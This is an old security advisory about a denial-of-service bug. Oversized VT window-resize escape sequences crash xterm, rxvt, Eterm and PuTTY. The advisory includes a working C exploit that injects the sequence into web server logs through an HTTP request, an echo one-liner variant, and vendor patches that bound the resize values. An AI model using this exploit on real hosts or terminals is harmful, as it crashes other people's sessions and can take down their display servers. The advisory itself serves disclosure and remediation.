COMMAND
xterm
SYSTEMS AFFECTED
xterm
PROBLEM
Kit Knox found following. By sending the VT control characters to
resize a window it is possible to cause an xterm to crash and in
some cases consume all available memory. This itself isn't much
of a problem, except that remote users can inject these control
characters into your xterm numerous ways including:
o Directories and filenames on a rogue FTP servers.
o Rogue banner messages on ftp, telnet, mud daemons.
o Log files (spoofed syslog messages, web server logs, ftp server logs)
This sample exploit injects these control characters into a web
get request. If an admin were to cat this log file, or happened
to be doing a "tail -f access_log" at the time of attack they
would find their xterm crash.
Embedding "ESCAPE[4;65535;65535t" (where escape is the escape
character) inside files, directories, etc will have the same
effect as this code.
/*
*
* xterm Denial of Service Attack
* (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000
*
* Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes
* rxvt v2.6.1 -- consumes all available memory and then
* crashes.
*
* Not vulnerable: KDE konsole 0.9.11
* Secure CRT 3.0.x
*
*
*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int sock;
int
main (int argc, char *argv[])
{
struct hostent *he;
struct sockaddr_in sa;
char buf[1024];
char packet[1024];
int i;
fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n");
if (argc != 2)
{
fprintf (stderr, "usage: %s <host/ip>\n", argv[0]);
return (-1);
}
sock = socket (AF_INET, SOCK_STREAM, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons (80);
he = gethostbyname (argv[1]);
if (!he)
{
if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE)
return (-1);
}
else
{
bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
}
if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0)
{
fprintf (stderr,
"Fatal Error: Can't connect to web server.\n");
return (-1);
}
sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n");
write (sock, packet, strlen(packet));
close (sock);
fprintf(stderr, "Done.\n");
}
Sebastian Hans tried this with my xterm (XFree86 3.3.3.1b(88b)) -
it didn't work. Substituting 65536 for 65535 did the job:
echo -e "\033[4;65536;65536t"
Confirmed also against Eterm 0.8.10. In fact, it took X all the
way down (XFree86 4.0). All current versions of Eterm are
vulnerable.
OpenWindows xterm is not vulnerable (SunOS4+). HP-UX CDE xterm
is not vulnerable.
The code above breaks PuTTY [a Win32 SSH client] as well.
SOLUTION
Attached are patches to Eterm 0.8.10 and 0.9. Similar changes
have been committed to 0.8.11 and 0.9.1 in CVS.
Index: src/command.c
===================================================================
RCS file: /cvs/enlightenment/Eterm/src/command.c,v
retrieving revision 1.1.1.1.2.7
diff -u -r1.1.1.1.2.7 command.c
--- src/command.c 1999/11/02 16:34:35 1.1.1.1.2.7
+++ src/command.c 2000/06/02 02:06:56
@@ -4694,6 +4694,9 @@
return; /* Make sure there are 2 args left */
y = args[++i];
x = args[++i];
+ if (x > scr->width || y > scr->height) {
+ return;
+ }
XResizeWindow(Xdisplay, TermWin.parent, x, y);
break;
case 5:
@@ -4713,6 +4716,9 @@
return; /* Make sure there are 2 args left */
y = args[++i];
x = args[++i];
+ if (x > (scr->width / TermWin.fwidth) || y > (scr->height / TermWin.fheight)) {
+ return;
+ }
XResizeWindow(Xdisplay, TermWin.parent,
Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_visible()? scrollbar_total_width() : 0),
Height2Pixel(y) + 2 * TermWin.internalBorder + (menubar_visible()? menuBar_TotalHeight() : 0));
Index: src/term.c
===================================================================
RCS file: /cvs/enlightenment/Eterm/src/term.c,v
retrieving revision 1.33
diff -u -r1.33 term.c
--- src/term.c 2000/01/17 21:29:27 1.33
+++ src/term.c 2000/06/02 02:06:44
@@ -1232,6 +1232,8 @@
return; /* Make sure there are 2 args left */
y = args[++i];
x = args[++i];
+ UPPER_BOUND(y, scr->height);
+ UPPER_BOUND(x, scr->width);
XResizeWindow(Xdisplay, TermWin.parent, x, y);
#ifdef USE_XIM
xim_set_status_position();
@@ -1254,6 +1256,8 @@
return; /* Make sure there are 2 args left */
y = args[++i];
x = args[++i];
+ UPPER_BOUND(y, scr->height / TermWin.fheight);
+ UPPER_BOUND(x, scr->width / TermWin.fwidth);
XResizeWindow(Xdisplay, TermWin.parent,
Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_is_visible()? scrollbar_trough_width() : 0),
Height2Pixel(y) + 2 * TermWin.internalBorder);
aterm 0.3.6 is not vulnerable. When you cat a file containing
that string, it displays nothing. Using a text editor, you can
see the contents. Redhat 6.0+: gnome-terminal is not vulnerable
either. Xterm is, X seems stable though.
PuTTY development snapshot appears to be OK now. Current
development snapshots of PuTTY are now believed robust. A 0.49
release containing the fix will be coming out RSN, since security
is the one thing that really makes me get off my butt and put new
releases out _quickly_. The patch is quoted below.
Index: src/putty/terminal.c
===================================================================
RCS file: /home/cvs/putty/terminal.c,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -r1.18 -r1.19
--- src/putty/terminal.c 2000/03/17 10:46:59 1.18
+++ src/putty/terminal.c 2000/06/05 16:33:58 1.19
@@ -1209,7 +1209,11 @@
*/
compatibility(VT340TEXT);
if (esc_nargs<=1 && (esc_args[0]<1 || esc_args[0]>=24)) {
- request_resize (cols, def(esc_args[0], 24), 0);
+ unsigned int newrows = def(esc_args[0], 24);
+ /* Hack: prevent big-resize DoS attack. */
+ if (newrows > max(512, cfg.height))
+ newrows = max(512, cfg.height);
+ request_resize (cols, newrows, 0);
deselect();
}
break;
@@ -1221,7 +1225,11 @@
*/
compatibility(VT420);
if (esc_nargs==1 && esc_args[0]>=24) {
- request_resize (cols, def(esc_args[0], cfg.height), 0);
+ unsigned int newrows = def(esc_args[0], cfg.height);
+ /* Hack: prevent big-resize DoS attack. */
+ if (newrows > max(512, cfg.height))
+ newrows = max(512, cfg.height);
+ request_resize (cols, newrows, 0);
deselect();
}
break;
@@ -1232,7 +1240,11 @@
*/
compatibility(VT340TEXT);
if (esc_nargs<=1) {
- request_resize (cols, def(esc_args[0], cfg.width), 0);
+ unsigned int newcols = def(esc_args[0], cfg.width);
+ /* Hack: prevent big-resize DoS attack. */
+ if (newcols > max(512, cfg.width))
+ newcols = max(512, cfg.width);
+ request_resize (newcols, rows, 0);
deselect();
}
break;